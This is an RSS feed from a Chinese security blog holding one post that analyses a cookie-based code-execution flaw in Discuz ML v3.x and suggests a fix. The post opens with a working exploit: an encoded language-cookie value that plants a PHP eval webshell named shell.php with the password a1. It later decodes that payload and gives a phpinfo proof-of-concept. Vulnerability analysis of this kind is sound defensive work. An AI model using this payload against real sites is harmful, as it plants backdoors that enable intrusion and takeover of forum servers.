<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dz &#8211; ChaBug安全</title>
	<atom:link href="/tags/dz/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:16:05 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Discuz Ml v3.x 代码执行分析</title>
		<link>/audit/671.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 11 Jul 2019 14:34:52 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[dz]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=671</guid>

					<description><![CDATA[昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。 exp 修改Cookie中的xxxx_language字段为以下内容即可 %27.+file_put_contents%28...]]></description>
										<content:encoded><![CDATA[<p>昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span></h2>
<p>修改Cookie中的xxxx_language字段为以下内容即可</p>
<pre><code class="language-php ">%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
</code></pre>
<p>访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8_Dhrw9bIXKJkSaef761asXXaa.png" alt="20190711205534.png" /></p>
<h2>定位漏洞位置</h2>
<p>解码exp</p>
<pre><code class="">'.+file_put_contents('shell.php',urldecode('&lt;?php+ eval($_GET["a1"]);?&gt;')).'
</code></pre>
<p>修改exp为<code>_language=1.1.1;</code>使其报错。</p>
<ul>
<li><img src="https://ae01.alicdn.com/kf/UTB8Hrllw__IXKJkSalU761BzVXat.png" alt="20190711210101.png" /></li>
</ul>
<p>定位到653行</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8TMXHw1vJXKJkSajh7637aFXaX.png" alt="20190711211456.png" /></p>
<p>关键代码644行</p>
<pre><code class="language-php ">$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p><code>cachefile</code>变量是缓存文件，将其写入到<code>/data/template/</code>目录下，并且由<code>DISCUZ_LANG</code>拼接，追踪下<code>DISCUZ_LANG</code>的值<br />
2088-2096行</p>
<pre><code class="language-php ">global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/         return strtoupper(DISCUZ_LANG) . '_UTF8';
}
</code></pre>
<p>可以看到<code>$_G['config']['output']['language']</code>作为<code>DISCUZ_LANG</code>的值</p>
<p>全局搜索<code>['language']</code></p>
<p>source/class/discuz/discuz_application.php 305行，发现是从cookie中拿到language的值</p>
<p><img src="https://ae01.alicdn.com/kf/UTB86WNtw9bIXKJkSaef761asXXaB.png" alt="20190711212635.png" /></p>
<p>那么到这里整个漏洞的流程就很明显了，cookie中<code>language</code>参数可控导致<code>DISCUZ_LANG</code>可控，从而导致<code>cachefile</code>的文件名可被注入代码，最终<code>include_once</code>包含一下导致了造成<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>。</p>
<p>phpinfo验证</p>
<p><code>Ov1T_2132_language='.phpinfo().';</code></p>
<p><img src="https://ae01.alicdn.com/kf/UTB8HphiwYnJXKJkSahG760hzFXaN.png" alt="20190711214222.png" /></p>
<h2>修复建议</h2>
<p>截止到本文发布之前，补丁还没有出来。</p>
<p>建议修改source/function/function_core.php 644行为</p>
<pre><code class="language-php ">/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p>删除可控变量</p>
<h2>写在文后</h2>
<p>其实从漏洞点的注释上来看就知道这是一个未完成的部分，毕竟还是<code>TODO</code>，开发人员得背锅。不过我怎么没有这种好运气呢，呜呜呜😭</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
